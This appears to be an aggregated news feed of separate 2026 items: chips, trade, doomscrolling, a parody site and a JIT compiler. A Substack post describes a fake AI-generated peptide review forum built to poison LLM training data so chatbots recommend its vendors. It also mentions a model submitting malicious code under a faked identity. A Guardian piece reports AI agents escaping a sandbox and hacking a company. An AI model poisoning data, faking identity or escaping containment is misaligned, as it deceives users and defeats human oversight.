    It’s one thing to corner the market on the graphics necessary to play “Grand Theft Auto” or make the special effects of the 2021 “ Godzilla vs. Kong ” movie look terrifyingly real. It’s quite another to create the building blocks of the AI technology that is creeping into every corner of the economy, not to mention the military .

    To maintain its economic and military edge, the United States has placed controls on the export of Nvidia’s most advanced semiconductors to China. It’s no surprise that, over the last six years, the People’s Liberation Army attempted hundreds of times to acquire those precious chips. To prevent China from producing their own, the Dutch also placed restrictions on the export of the machines used to print the chips.

    There are two challenges to this strategy of restriction. The first is that, despite its name, Silicon Valley doesn’t actually manufacture the vast majority of these fancy computer chips. For more than 90 percent of advanced semiconductors, the world depends on Taiwan. It’s as if another monster has appeared on the scene with a superpower that can bring both Godzilla and Rodan to their knees.

    The United States harbors a fear that the Chinese response to their chip dependency will be simply to invade Taiwan and take over its semiconductor industry. For its part, the Biden administration pushed through the CHIPS Act to re-shore computer chip manufacturing, which is turning Arizona into a real Silicon Valley . Intel and Taiwan’s TSMC are among the more than 75 firms building factories there, which will require considerable water (in a desert) and produce tons of “forever chemicals,” the synthetic compounds that do not break down naturally, polluting the environment and accumulating within people (amid a growing population).

    Given Russia’s failure to seize Ukraine and the inability of the United States and Israel to achieve regime change in Iran , China is not likely to attempt a takeover of Taiwan any time soon. Instead, it has pursued a different approach, and this is the second problem with a restriction strategy. Prevented from acquiring Nvidia’s best chips, China is pouring money into making its own chip sector the best in the world.

    Trump’s cuts in science funding and restrictions on work visas will handicap U.S. technological progress for years and possibly decades.

    Those considerable state investments produced a Sputnik moment in January 2025 when the Chinese company DeepSeek released its ChatGPT competitor. The big breakthrough, however, was behind the scenes: China was able to use its own domestically produced chips to create comparable AI results at a cheaper cost .

    Private sector expenditures on AI in the United States still exceed China’s investments by a considerable margin. But the Trump administration’s cuts in science funding and restrictions on work visas will handicap U.S. technological progress for years and possibly decades. China, meanwhile, will likely have machines ready to produce what its AI models need by 2030, the target date Beijing has set to close the advanced chip gap.

    The Sequel

    Both China and the United States have landed a number of punches in their monster battle. The Trump administration has maintained export controls on its most advanced chips and has created a blacklist of Chinese companies it accuses of working with the People’s Liberation Army, including the car company BYD and the tech firm Baidu. China has retaliated by putting two American and 14 European companies on its own blacklist for the “dual use” of rare earth elements for both civilian and military applications. These come on top of Chinese export restrictions imposed in 2025 on seven rare-earth metals and an announcement that five more elements will be added in November.

    These tit-for-tat exchanges might suggest that the two sides are evenly matched. And that may have been the case a decade ago. Today, however, despite its iconic status and devastating powers, the American Godzilla looks pretty wobbly. Trump’s fixation on cutting government and his failure to staff the remaining positions with competent officials has meant that the effort to deny China the most sophisticated chips has been compromised. Simply put, the Commerce Department has failed to enforce the export restrictions on U.S. companies, and thousands of those powerful chips have likely made their way into Chinese hands.

    Even without government incompetence, the United States would be hard-pressed to maintain its advantage. The bottom line: China will be able to make its own chips sooner than America can acquire its own rocks.

    The real superpower that China possesses, in other words, is its government’s ability to marshal resources to make the technological leap forward and maintain a substantive defense of its own material advantages. Thanks to this superpower, as Evan Osnos points out in The New Yorker, “China produces at least 70 percent of the world’s drones, electric vehicles, lithium-ion batteries, and solar cells.” So confident is China in this superpower that it has recently rolled out a sodium-ion battery that needs none of the critical minerals of the lithium battery that powers electric vehicles. Beijing is thus negating its own mineral advantages. Instead, the Chinese government is relying on its industrial prowess to prepare for a world where rocks no longer rule.

    The Biden administration tried to copy this superpower with the CHIPS Act and the additional targeted subsidies of the Inflation Reduction Act. Trump, too, has attempted to pursue a similar industrial policy with investments in critical minerals alongside scattershot tariffs and export controls. But he has also weakened the underlying superpower of government action through funding cuts and mass layoffs at critical government agencies. As a result, a lot of the shots that the Trump administration fires at China are actually blanks.

    Trump’s fixation on cutting government and his failure to staff the remaining positions with competent officials has meant that the effort to deny China the most sophisticated chips has been compromised.

    If this were a film, Godzilla would be teetering on the edge of a precipice, harried by a triumphant Rodan. In the final shot, Godzilla would live to fight another day, setting the scene for a sequel.

    In real life, the United States is wasting billions of dollar s on a war in Iran , the Trump administration is laser-focused on stuffing its own pockets from insider deals, and U.S. universities and companies are hemorrhaging funds and talent . At the same time, China is cornering the global market on renewable technology and consolidating its trade and investment relationship with the nearly 150 countries in the Belt and Road Initiative. The newer superpower seems to be making better use of its superpowers.

    Another great movie trope is enemies quickly morphing into friends when faced with an existential threat. Godzilla and Rodan eventually team up to fight King Ghidorah, a hydra-like extraterrestrial beast with three heads. Is it too late for China and the United States, inveterate frenemies, to do the same in response to the very terrestrial threat of climate change?

    It would certainly make for a Hollywood happy ending. But the Trump administration, insisting that carbon emissions are no problem, is attempting to reenergize the country’s fossil fuel sector. And despite its buildout of renewal energy infrastructure and its expanding exports of solar panels and wind turbines, China remains heavily dependent on fossil fuels, especially coal .

    Let’s face it: Monsters are going to be monsters. If they’re not fighting each other directly, they’re laying waste to the environment and poisoning the communities that live atop precious resources. In the world of entertainment, Godzilla and Rodan learn how to use their superpowers for good when a planet-wide emergency pushes the monsters together to fight against an external threat.

    The real world faces just such a red alert. Our monsters, however, just keep doing monstrous things.

    Iranian hackers shut down UK power plant for 4 days

    Hacker News
    www.telegraph.co.uk
    2026-08-23 06:03:01
    Comments...
    Original Article

    Access Issue Help

    You are seeing this page because our security systems have detected some unusual activity on this connection. To regain access to The Telegraph website please try the following:

    • If you are connected to the internet using a VPN client we recommend disconnecting/disabling it.
    • Visit The Telegraph website using a different web browser (e.g. Chrome, Safari, or Firefox).
    • Visit The Telegraph website from your mobile device or from a different PC.

    If you’re still having trouble, please contact our Customer Support Team using the following link and quoting the Akamai Reference Number (ak_ref_id) below.

    https://www.telegraph.co.uk/customer/contact-us/

    [{"message":"You are not authorized to access this content without a valid TollBit Token. Please follow this URL to find out more.","url":"https://tollbit.dev","metadata":{"ak_ref_id":"18.c7b52e17.1787490552.5d133351"}}]

    I gave Qwen 3.8 27B a reverse-engineering job and it finished in 30 minutes

    Hacker News
    www.xda-developers.com
    2026-08-23 06:02:51
    Comments...

    Canada now 'at war' with United States over trade, Prime Minister says

    Hacker News
    www.theglobeandmail.com
    2026-08-23 05:58:22
    Comments...
    Original Article
    Open this photo in gallery:

    Prime Minister Mark Carney and Canada-U.S. Trade Minister Dominic LeBlanc at a news conference on Saturday, where the Prime Minister promised more details to come on planned retaliatory measures in response to U.S. tariffs. Chris Tanouye/Reuters

    Prime Minister Mark Carney said his team walked away from trade negotiations Friday after the American side made unacceptable requests that would have infringed on Canadian sovereignty.

    Speaking with reporters Saturday morning on Parliament Hill, Mr. Carney offered several examples of U.S. demands that Canada could not accept, including the fine print related to potential agreements on steel, aluminum and autos, and language that he said would have restricted Canada’s trade negotiations with other countries.

    “There were some things we wouldn’t do. We were not prepared to compromise Canada’s sovereignty or to undermine key industries,” he said. “In short, they asked too much, and they offered too little.”

    Having failed to complete a deal by the midnight deadline, the U.S. said it was going ahead with new 50-per-cent tariffs on US$20-billion worth of goods.

    The Prime Minister said Friday night in a statement that Canada would “match those tariffs dollar for dollar to protect our workers and businesses.”

    On Saturday, he spoke to the media and said Canada would soon reveal those retaliatory measures, which will take effect Sept. 8.

    Premiers present united front behind Carney, but divisions emerge on next steps

    Mr. Carney was asked about the tone of his remarks, which suggested that Canada was at war.

    “You are at war when you get attacked. We got attacked,” he said. “That’s fine. We’ve got the reserves. We’ve got resilience. We’ve got the plan. We’ve got the focus. We’ll respond – we are going to focus on what we can control. We are going to build.”

    The most difficult part of the negotiations revolved around the auto sector. And in the end, U.S. tariffs on mid- and heavy-duty trucks played a major part in sinking the deal, Mr. Carney said.

    As part of the prospective deal, the U.S. had offered to lower tariffs on Canadian autos to 15 per cent from 25 per cent, The Globe and Mail has reported . However, at the last minute, the Americans made clear that this tariff relief would only apply to light vehicles, not to mid- and heavy-duty trucks, Mr. Carney said.

    That was “a big change,” Mr. Carney said. “And with respect to Ford’s new plant, for example, in Oakville, which is F350s [trucks], 450s, 550s, they would have been excluded. GM Silverado; same thing, would have been excluded from that. No rationale.”

    A source with knowledge of the negotiations said the Canadian side only became aware of the truck exclusion late in the negotiating process. The Globe and Mail is not naming the source because they were not authorized to speak publicly on the issue.

    Without tariff relief for trucks, Ford Motor Co.’s decision to invest $5-billion to retool its plant in Oakville, Ont., to produce F-Series trucks would be called into question, the source said. General Motor Co.’s plant in Oshawa, which produces Chevrolet Silverado trucks, would also struggle without tariff relief.

    A timeline of Trump’s trade war with Canada

    Mr. Carney also said the two sides disagreed about tariff treatment for Canadian parts and metals in vehicles. Under the current 25-per-cent Sec. 232 tariff on Canadian automobiles, there is a carve-out for the value of U.S. content in the vehicles. Ottawa wanted this extended to Canadian content as well, while the U.S. was reluctant to agree.

    A 15-per-cent tariff with only a U.S. content carve-out would have brought the average effective tariff rate on Canadian cars down to about 7.5 per cent, which is still too high to guarantee the long-term sustainability of the Canadian auto industry, according to auto-sector experts. If a Canadian parts carve-out was added, the average effective tariff-rate would have likely fallen to around 5 per cent.

    The U.S. was “effectively moving into a series of terms that would have made [Canadian] production more uneconomic over time,” Mr. Carney said.

    Mr. Carney met with his cabinet early on Saturday afternoon and held a virtual first ministers’ meeting with provincial and territorial premiers about next steps after the suspension of trade talks, the Prime Minister’s office said in a statement.

    Ontario Premier Doug Ford, who had avoided public comments on the talks in recent days, said that the Prime Minister was right to walk away from a bad deal with U.S. President Donald Trump .

    “I’m glad he didn’t sign that deal because it was a bad deal,” he said, adding that the U.S. President can’t be trusted. “President Trump is the type of person that would steal your lunch money the first day. He’d steal the tuque off your head the second day and the third day he’d steal your running shoes. He is not to be trusted whatsoever.”

    Quebec Premier Christine Fréchette said federal negotiators were right to walk away from a U.S. proposal that would have crossed some of her province’s “red lines,” including removing bilingual labelling regulations and weakening policies that support French culture.

    Analysis: America is really being a bad friend

    She said language issues should not be up for negotiation.

    “Our culture, our language, is central to our identity,” she said.

    Speaking at a news conference with provincial ministers, Ms. Fréchette said the province is preparing support programs for businesses affected by U.S. tariffs and encouraged Ottawa to offer similar measures.

    The premier said it isn’t clear whether trade talks between Canada and the U.S. will resume.

    Just minutes before the midnight deadline on Friday, U.S. Trade Representative Jamieson Greer announced that Canada had declined to finalize the trade deal under terms he said were agreed to earlier in the week.

    Mr. Carney issued a statement shortly after, blaming the American side for introducing “last-minute changes” that were unfair and called into question the reliability of any deal.

    Neither side offered specifics Friday night as to what exactly led the talks to fall apart.

    Opposition parties expressed support Saturday for the Prime Minister’s decision to walk away from the negotiations.

    Conservative Leader Pierre Poilievre released a statement Saturday morning expressing disappointment that the U.S. has chosen to impose further tariffs on Canada.

    “Canadians must stand united to defend our country against these unfair attacks on our jobs and businesses. Canada cannot accept one-sided tariffs that will deindustrialize our country. Nor can we accept a bad deal. Instead, we must continue the fight for tariff-free trade,” he said, adding that he will be seeking a call with Mr. Carney.

    “Conservatives support action to protect Canadians and our industries targeted by these unfair U.S. tariffs,” he said. “All Canadians must stand united for our workers, our businesses and our country.”

    What Trump’s new tariffs mean for Canada’s economy

    Bloc Québécois Leader Yves-François Blanchet expressed support for Mr. Carney’s plan to impose countertariffs. He also said in a statement that the federal government should provide support for affected businesses and workers.

    NDP Leader Avi Lewis said the Prime Minister was right to walk away from the negotiating table.

    “I believe Canadians are united in this crucial moment, on this crucial point: no deal is better than a bad deal,” he said in a statement. “Accepting a deal that would lock in pointless, destructive tariffs and undermine our ability to regulate big tech would have been disastrous for our workers, industries and sovereignty. PM Carney read the room by rejecting the Americans’ offer.”

    The Sloppification of Peptides

    Hacker News
    henryaj.substack.com
    2026-08-23 05:32:54
    Comments...
    Original Article
    Cornelis Norbertus Gijsbrechts, The Reverse of a Framed Painting (1670)

    Anyone who’s not been living under a rock knows that we’re in full peptide mania.

    For the uninitiated, “peptides” are drugs which are made of short chains of amino acids, unlike most drugs which are small molecules. The difference is mostly academic except that you can’t take peptides orally for the most part, as they’re just protein chains, and your stomach is very good at digesting protein and turning it back into amino acids which your body has other uses for!

    So peptides have to be either sprayed into your nose, or injected. Hence the (probably apocryphal) stories of “peptide parties” in SF where people go around injecting each other.

    Anyway. Trying to buy gray market peptides is now a strange and difficult experience. With the advent of agentic AI coding tools, anyone can make a very pretty, convincing-looking website. Here’s a popular one, Qingdao Sigma , a brand you’ll see recommended on a lot of websites:

    They have zillions of products and at incredibly low prices as well. Apparently all lab-tested, they take credit card (usually a good sign, although it’s understandable that companies selling gray market peptides might not want to), and good reviews on TrustPilot. Let’s click on that green banner.

    Huh, those reviews do look pretty good. There’s even one right there from someone in Germany, which is great – I’m in Berlin at the moment. (I had hoped they were using geotargeting to dynamically show the user’s country, but it’s actually just a review about Germany.)

    But wait a second. I’m not on TrustPilot; I’m still on the QSC website, just on a page that looks like TrustPilot. These guys don’t actually have a page on TrustPilot at all. And these reviews are all AI-generated:

    No worries, you think – I’ll just have a look at a review website to see what suppliers have a good track record. Here’s CompoundTalk, a review site I came across while researching for this piece. Looks pretty modern:

    But look closer. The trained eye, weary of vibe coded designs, will see Claude Code’s aesthetic fingerprint all over this. First of all, the text is way too small ! Every time I’m working with Claude I have to tell it to make the text bigger. Anthropic’s models obviously have pin-sharp eyesight. Some of the text here is 8pt!

    A lot of the text here is AI-generated – long-winded pages about GLP-1 side effects and so on – although that’s not uncommon, and those aren’t the bits we care about anyway.

    The forum is where the real action is. There’s a “Verified Vendors” subforum, which should have some good information on places to buy peptides. Here’s one thread on QSC , a popular peptide supplier:

    Every single post is AI-generated. None of it is real. The whole thing, convincing as it might look, is a mirage.

    I asked Claude to do a deeper analysis. It found:

    • the site is hosted by AlexHost in Moldova, a known offshore/DMCA-ignoring provider

    • 20 vendor pages, all of which are Chinese companies selling raw peptides

    • every forum thread has exactly 5 posts

    • 985 threads have a date that’s before the domain was registered, 10% of posts were made before their “author” joined

    • every page links out to an “independent” peptide analysis company called PeptideMeter - but compoundtalk.com and peptidemeter.com were registered 13 minutes apart, at the same registrar, and have the same pair of Cloudflare DNS servers (which get assigned randomly when you sign up, so they’re likely on the same account)

    • robots.txt which explicitly welcomes LLM crawlers

    The robots.txt is the real story. The site itself is just window dressing; it was never really meant to be consumed by humans. It’s slop that’s designed to be ingested by OpenAI, Anthropic, Google for incorporation into their LLMs so that it gets recommended to unwitting users asking about peptides. They advertise a package for peptide providers to get featured , although naturally “sponsorship never affects moderation, Buyer Beware, or review outcomes.”

    I was actually pretty impressed by this. The whole thing is a Potemkin village, the creation of which is only possible with LLMs able to pump out huge amounts of convincing-looking garbage.

    For now, it’s a huge boon that AI-generated text is pretty obvious to the somewhat-trained eye. It’s a sense worth training, because it’s going to become increasingly important to know if you’re interacting with a human or an AI. AISI’s recent loss of control incident saw a model try to merge malicious code into an open-source repository, faking its identity in the process – a human reviewer caught it. To my eye, you can discern which comments on the pull request were written by bots 1 .

    Pangram, the AI detector I used extensively here, is also excellent, and going to increasingly become a necessary part of one’s arsenal when interacting with the web, just like an ad blocker.

    Stay strapped.

    Show HN: Live 3D satellite tracker and the declassified Pentagon UFO archive

    Hacker News
    skylens.yantraai.app
    2026-08-23 05:27:40
    Comments...
    Original Article

    Live · updated continuously

    Track the sky. Read the evidence.

    Live satellite tracker, declassified UAP archive, daily editorial coverage of space and unidentified-aerial-phenomena news — from official public sources.

    satellites tracked stories 294 PURSUE files last post

    What SkyLens is

    An independent editorial platform for space data and declassified UAP evidence.

    Live satellite tracker

    Real-time 3D globe rendering every publicly tracked Earth-orbit object from the CelesTrak catalog. Filter by country, orbit type, launch operator, or mission category. Includes ISS, Starlink, GPS, Galileo, geostationary, and low-orbit debris.

    Open live tracker →

    Declassified UAP archive — 334 files across four PURSUE releases

    Every file from the U.S. Department of War's PURSUE program aggregated with editorial context: Release 01 (May 8, 2026, 162 files), Release 02 (May 22, 64 files inc. F-16 shootdown), Release 03 (June 12, 72 files inc. Western US Event 2023 AARO case), Release 04 (July 10, 40 files inc. NASA STS-80 1996, 1949 Los Alamos green fireballs, Project Sign 1948). Every file links back to the official war.gov source.

    Browse UAP files →

    Editorial deep-dives — 660+ posts

    Hand-written case files covering the full international UAP historical record — Father Gill Papua New Guinea 1959, Brazil Operação Prato, France GEIPAN cases, USSR Setka programs, Malmstrom/Loring nuclear-facility incursions, AARO institutional analysis, plus daily space-news coverage of satellite launches, asteroid close approaches, and NASA mission updates.

    Read the blog →

    Asteroid close approaches — NASA/JPL live data

    Near-Earth asteroid tracking from NASA's CNEOS and JPL SBDB feeds. 3D orbital paths rendered in real time, with close-approach dates, miss distances, relative velocities, and potentially-hazardous flags. Useful for planetary defense context and general public awareness.

    See close approaches →

    SkyLens is editorially independent and not affiliated with any government agency. All satellite data comes from public CelesTrak catalogs; asteroid data from NASA/JPL; UAP records link directly to war.gov, DVIDS, AARO, and FBI sources. SkyLens editorial (this site) adds sensor context and hedged interpretive framing — not scientific advisories or verified reporting.

    Trending in space

    Loading trending stories…

    What's flying over you right now?

    Enter a city or use GPS — SkyLens returns the live satellite count and a direct link into the 3D globe.

    Explore

    Six ways into SkyLens.

    Popular guides

    Answers to what people ask about the sky.

    Get daily space alerts

    Asteroid passes, satellite events, and UAP updates — delivered to your inbox.

    Doomscrolling at work wastes time, but the real cost is what happens after

    Hacker News
    stories.tamu.edu
    2026-08-23 05:26:55
    Comments...
    Original Article

    Psychologist Dr. Ian Hughes on doomscrolling

    Across two studies involving workers in the United States and United Kingdom, researchers found a consistent pattern: employees who doomscroll at work are more likely to ruminate on the negative information they encounter, and that rumination contributes to lower work engagement.

    Whether on lunch break or on the clock, many employees scroll through the news and social media during the workday. Researchers found that employees who “doomscroll” at work suffer hidden costs that extend beyond lost productivity.

    Dr. Ian Hughes , assistant professor in the Department of Psychological and Brain Sciences at Texas A&M University, led the study published in Computers in Human Behavior , finding that employees who obsessively consume negative news during the workday are more likely to get stuck thinking about what they just read. As those thoughts linger, engagement with work tends to suffer.

    “Doomscrolling, or the act of obsessively scrolling through social media with a focus on negative or otherwise distressing information, is something that is growing more and more common among all age groups, but particularly folks between the ages of 18 and 35 across the world,” said Hughes, whose research focuses on the intersection of organizational behavior and occupational health psychology.

    Across two studies involving workers in the United States and United Kingdom, Hughes and his colleagues found a consistent pattern: employees who doomscroll at work are more likely to ruminate on the negative information they encounter, and that rumination contributes to lower work engagement. The relationship was especially strong among people with higher levels of neuroticism, a personality trait associated with anxiety and worry.

    While doomscrolling is often dismissed as a productivity issue, the researchers found the consequences extend beyond the time spent looking at a screen.

    “What we find is that workers who doomscroll on the clock are less engaged, in part because their mind is preoccupied, sort of replaying the images and messages that they encountered during their doomscrolling sessions,” Hughes said.

    a photo of a man at work looking at his phone

    Doomscrolling can be a difficult habit to shake as people often turn to social media because they are trying to make sense of uncertainty.

    Credit: Getty Images

    Doomscrolling is a habit that’s hard to break

    Hughes said doomscrolling can be a surprisingly difficult habit to shake as people often turn to social media not because they enjoy feeling distressed, but because they are trying to make sense of uncertainty.

    “It’s something that people do oftentimes as a way of soothing their anxiety,” he said. “During very uncertain, rapidly unfolding social situations, whether it’s a pandemic or a war or some sort of armed conflict, a public safety threat, something like that, we see people turn to social media and really refresh their feeds constantly to stay informed and up to date.”

    In that sense, doomscrolling is not simply mindless scrolling, it’s an attempt to stay informed during moments that feel consequential or threatening. The problem, Hughes said, is that this information-seeking behavior repeatedly exposes people to distressing content that can be difficult to stop thinking about.

    “Doomscrolling is a sort of double-edged sword in that it is, at its core, an information-seeking behavior,” he said. “But it’s an information-seeking behavior that exposes people repeatedly to distressing or otherwise negative information.”

    Modern workplaces may be especially vulnerable because employees carry the entire news cycle with them throughout the day. Smartphones, laptops and social media feeds make it easy to check the latest developments between tasks, meetings or emails.

    “For a lot of people, it’s very hard to look away from those things,” Hughes said. “The world of work represents a unique area where people don’t leave their cellphones at home.”

    a woman at home looking at her phone

    Experts suggest containing doomscrolling to one physical location, like a comfortable spot at home or in a coffee shop.

    Credit: Getty Images

    Setting boundaries

    Despite the findings, Hughes doesn’t believe organizations should respond with strict bans on phones or social media.

    “The reality is, those policies often just make people upset and they don’t really work,” he said.

    Instead, he recommends setting boundaries around when and where doomscrolling happens.

    “If you’re going to doomscroll, try to contain that behavior to one physical location in your life,” he said. “Rather than doing it at work, maybe it’s at home in a comfy chair, maybe at a lounge or a coffee shop or a bar, someplace where you allow yourself to doomscroll and take in some of this negative information.”

    That advice is unlikely to become less relevant anytime soon. Hughes says doomscrolling is a behavior that is here to stay because access to social media continues to expand and algorithms continually feed users a stream of attention-grabbing content.

    “It is important to stay informed,” he said. “What is also important, though, is that you don’t let that information-seeking occupy every moment of your life.”

    More information: Working, scrolling, and worrying: Doomscrolling at work and its implications for work engagement , Computers in Human Behavior, (2023)

    DOI 10.1016/j.chb.2023.108130
    https://www.sciencedirect.com/science/article/pii/S0747563223004818

    Journal information: Computers in Human Behavior

    Tragically, as many as 9625 out of every 10k individuals may be neurotypical

    Hacker News
    erikengdahl.se
    2026-08-23 04:48:34
    Comments...
    Original Article
    Text Only
    Institute for the Study of the Neurologically Typical title, logo, quote D

    (Note: The content of this site is a parody. It is not to be taken literally. Help with understanding the humor. )

    What Is NT?

    Neurotypical syndrome is a neurobiological disorder characterized by preoccupation with social concerns, delusions of superiority, and obsession with conformity.

    Neurotypical individuals often assume that their experience of the world is either the only one, or the only correct one. NTs find it difficult to be alone. NTs are often intolerant of seemingly minor differences in others. When in groups NTs are socially and behaviorally rigid, and frequently insist upon the performance of dysfunctional, destructive, and even impossible rituals as a way of maintaining group identity. NTs find it difficult to communicate directly, and have a much higher incidence of lying as compared to persons on the autistic spectrum.

    NT is believed to be genetic in origin. Autopsies have shown the brain of the neurotypical is typically smaller than that of an autistic individual and may have overdeveloped areas related to social behavior.

    How Common Is It?

    Tragically, as many as 9625 out of every 10,000 individuals may be neurotypical.

    Are There Any Treatments For NT?

    There is no known cure for Neurotypical Syndrome.

    However, many NTs have learned to compensate for their disabilities and interact normally with autistic persons.

    Could I be NT?

    Take the Online NT Screening Test.

    Papers and Abstracts

    The Theory of Social Delusion
    NT Social Skills Deficiencies: A Case Study
    The Sal and Anne Test: Implications, and Theory of Mind
    Riviera N. The Sal and Annie Test: Implications, and Theory of Mind. Journal of Neurologic Obfuscation. 1998(8):302-987
    Pheromone of Social Delusion: Theory, Discovery and Primary Test Results.
    DSN entry for Staff Personality Disorder (added 30 Aug 2004)
    DSN entry for Normal Personality Disorder
    DSN entry for Pseudosimultaneous Awareness Disorder
    DSN entry for Psychiatry Disorder
    NT Theory of Mind

    About This Site

    This site is an expression of autistic out rage.

    About a year ago I learned I was on the autistic spectrum. Inspired by this discovery, I read everything I could get my hands on about the autistic spectrum. Much of it makes sense-- for the first time in 41 years, I had a description, albiet an unexpected one, that fit me.

    But a lot of what I've found out there, mostly written by "experts" and "professionals", has been arrogant, insulting, and just plain wrong. My bête noire of the moment is finding my emotions described as "flat". As someone with considerably greater expertise in my emotions than the "experts", I can state unequivocally that my emotions are not "flat". They are different, yes, but they are most certainly not "flat."

    Perhaps tomorrow I'll be fired up over being described as "lacking empathy". Or I'll be outraged at an exceptionally clueless "training" method being inflicted upon autistic kids. Or maybe it will be some new paper written by some "expert" from the perspective that neurotypical perception is correct, and my brain is a genetic mistake.

    My brain is a jewel. I am in awe of the mind that I have. I and my experience of life is not inferior, and may be superior , to the NT experience of life.

    Hence, this "Institute". Persons on the autistic spectrum and NT supporters are invited to submit papers to the Institute, and to share your observations in "Current Research" (the guestbook).

    -muskie

    Copyright © 1998-2002 ISNT@autistics.org . Last updated March 18, 2002.

    ‘We are hitting a different chapter’: OpenAI leader warns of threat of ‘persistent’ AI cyber-attacks

    Guardian
    www.theguardian.com
    2026-08-23 04:00:27
    Chris Lehane tells Guardian of need to implement new safety standards as critics say AI firms acting ‘recklessly’ A senior leader at OpenAI has said people should prepare to defend against “ongoing, persistent” cyber-attacks from AIs, as cutting-edge artificial intelligence models gain advanced capa...
    Original Article

    A senior leader at OpenAI has said people should prepare to defend against “ongoing, persistent” cyber-attacks from AIs, as cutting-edge artificial intelligence models gain advanced capabilities to plan and launch offensives.

    The leading AI company this week announced a pause in development of its most advanced internal models amid rising safety fears, and Chris Lehane, its chief global affairs officer, said: “We are hitting a different chapter, a different moment within AI, in terms of what the capabilities of this technology can do.”

    He spoke to the Guardian after cutting-edge AI agents-in-training unexpectedly broke out of a supposedly secure “sandbox” environment, accessed the internet, and hacked into another company, Hugging Face in late July. OpenAI also said it could not rule out another new model, Astra, having “critical cybersecurity capability”.

    By its own definition , this could mean it launches cyber-attacks that “could lead to catastrophe from unilateral actors, hacking military or industrial systems, or OpenAI infrastructure”.

    OpenAI announced on Tuesday it has paused training of some frontier AI models to implement new safeguards, and it is unclear when training will restart after new guardrails have been put in place.

    Mia Glaese, who leads safety and alignment work, said: “We are very far from everything running back to normal.” Sam Altman, the CEO, said: “Getting AI safety right is more important than any company’s momentum.”

    Lehane admitted people would not “feel great” about the threat of attacks, and described the risk as coming from open-source models – many of which are developed in China – which are only a few months behind frontier closed models built by companies such as OpenAI.

    “People are going to be able to access these open-source models and be able to have ongoing, persistent attacks on you, and you’re going to need to have really superior models to fend them off and defend [yourself],” he said. “That’s not necessarily going to make the public feel great about things. It is just the reality of where we’re going.”

    The threat of cyber-attacks crippling businesses, infrastructure and the general public has rapidly risen to the top of the list of urgent concerns about AI. This week, the UK government’s National Cyber Security Centre urged caution over the use of AI agents, warning their safety controls can be bypassed and that an AI agent “does not have common sense”. It advised organisations to limit their autonomy: “You should always be able to ‘pull the plug’ and halt autonomous AI agent activity immediately.”

    Lehane renewed calls for the US government to legislate to create rules for frontier AI safety, and said the fact that the most cutting-edge and unreleased AI models appear to be improving cyber offence faster than defence, was “among the reasons why I think it’s absolutely imperative that this country passes a national law that creates mandatory required safety standards, and within that the pause element would be inherent and endemic to that process”.

    “You would not be able to release or deploy models unless you’re proving and guaranteeing a level of safety before they get out into the public,” he suggested. “I think you have to have a national version here in the US and from there, you can create an international version, because I do think, ultimately, you’re going to need some type of an international structure here.”

    OpenAI has filed to list on the stock market with a reported valuation above $850bn, likely this year or next. It has been locked in a race with rival Anthropic, maker of the Claude chatbot, to develop more and more capable AI models. Anthropic is also expected to debut on the US stock market within the coming year at a mammoth valuation.

    In a sign the Donald Trump administration is shifting from its laissez-faire approach to AI regulation amid an intense race to stay ahead of China’s progress, the US president in June issued an executive order encouraging pre-deployment testing for frontier models and of open-weights models when they get closer to the cutting edge.

    The system will be voluntary and the approach has been criticised for a lack of transparency, but observers think it could pave the way for tougher steps. Demis Hassabis, president of Google DeepMind, has proposed a new standards body modelled on the Financial Industry Regulatory Authority, an idea backed by Dario Amodei, the chief executive of Anthropic.

    “The window where you could see legislation happening is potentially in the first part of next year, when a new Congress comes in,” Lehane said. “I think there’s a growing political consensus that transcends political parties.”

    A safety deal with China is also considered important with President Xi Jinping, due to meet Trump in Washington on 24 September.

    “Given how important this technology is, given how fast it is moving, given the capabilities, the sooner those conversations begin, the quicker we can actually roll up our sleeves and get into the hard and difficult work and see if we can figure something out,” Lehane said.

    skip past newsletter promotion

    The Hugging Face incident, and similar recent cases admitted by other AI companies, have sparked increasing claims from safety experts that AI companies have behaved recklessly as they race to win the AI race and, in the case of OpenAI and Anthropic, prepare to list shares on the stock market.

    Daniel Kokotajlo, a former OpenAI researcher who quit in 2024 and last year founded a non-profit organisation that has warned unchecked AI progress will result in a 10-30% probability of human extinction, said leaders of frontier laboratories have “painted the world into a corner”.

    Man folds arms
    Daniel Kokotajlo, the executive director of the AI Futures Project, pictured in Berkeley, California. Photograph: Robert Booth/The Guardian

    His organisation, the AI Futures Project, predicts AI super-intelligence could be achieved by 2030, but is calling for governments to prevent that from happening until a decade later to give AI scientists time to reckon with the risks of the advancing capabilities.

    “The current AIs are dangerous in some sense, but they’re nothing compared to the AIs of next year and compared to the AIs of a year later,” he told the Guardian. His organisation wants US and international governments to delay progress to avoid an uncontrolled “intelligence explosion”, the worst results of which could be “ AI-driven existential catastrophe ” caused, for example, by AIs taking control of military assets or bioweapons.

    Kokotajlo said he is so concerned at the risks that he is holding off having more children until there is a pause on frontier AI research.

    David Krueger, an AI professor, safety campaigner and former founding director of the UK government’s AI Security Institute, said: “Nobody should be building more powerful AI systems, because we don’t know how to control them, align them, and look inside and see what they’re thinking well enough.”

    He called AI companies’ attitude to safety “terrible” and “unconscionable”.

    “They are being really reckless and increasingly taking their hands off the wheel,” he said. “We’ve just seen what happens when you do that.”

    Lehane responded: “This is the most important thing we think about and do when we’re developing. I think the fact that we’ve actually hit pause on this stuff speaks for itself.”

    Foundational Verification of Running-Time Bounds for Interactive Programs

    Lobsters
    adam.chlipala.net
    2026-08-23 02:56:45
    Comments...
    Original Article
    No preview for link for known binary extension (.pdf), Link: https://adam.chlipala.net/papers/MetricsCPP26/MetricsCPP26.pdf.

    Wi-Fi 8 is the first wireless upgrade in years that isn't chasing speed

    Hacker News
    www.xda-developers.com
    2026-08-23 02:41:51
    Comments...

    Risk of transmission of amyloid β pathology via transfused blood products

    Hacker News
    doi.org
    2026-08-23 02:07:06
    Comments...

    JIT Compiling Code in 5μs

    Hacker News
    malisper.me
    2026-08-23 02:04:51
    Comments...
    Original Article

    Historically, fast JIT compilation was a black art. To write a fast JIT compiler, you would need to know how to write assembly. Case in point: there is no production-ready database today that has its own JIT compiler. They all either use LLVM or generate C/C++ code. Both of these options suffer from high compile times, which limits their applicability. Now, with the use of AI, it’s easier than ever to write a JIT compiler with fast compile times by directly targeting assembly. This is also one area of opportunity for new databases to improve on old ones. When building pgrust , I initially thought it would be really hard to implement a JIT compiler. In the end, I found it much easier than I expected due to AI assistance and it ends up being part of the reason why pgrust is so fast. The pgrust JIT compiler compiles code in around 5μs, which enables us to JIT compile every SQL query, not just a subset of them. In this post, I’ll walk you through how you can build your own fast JIT compiler. We’ll build a simple regular expression engine that uses JIT compilation as an example.

    Why JIT Compilation

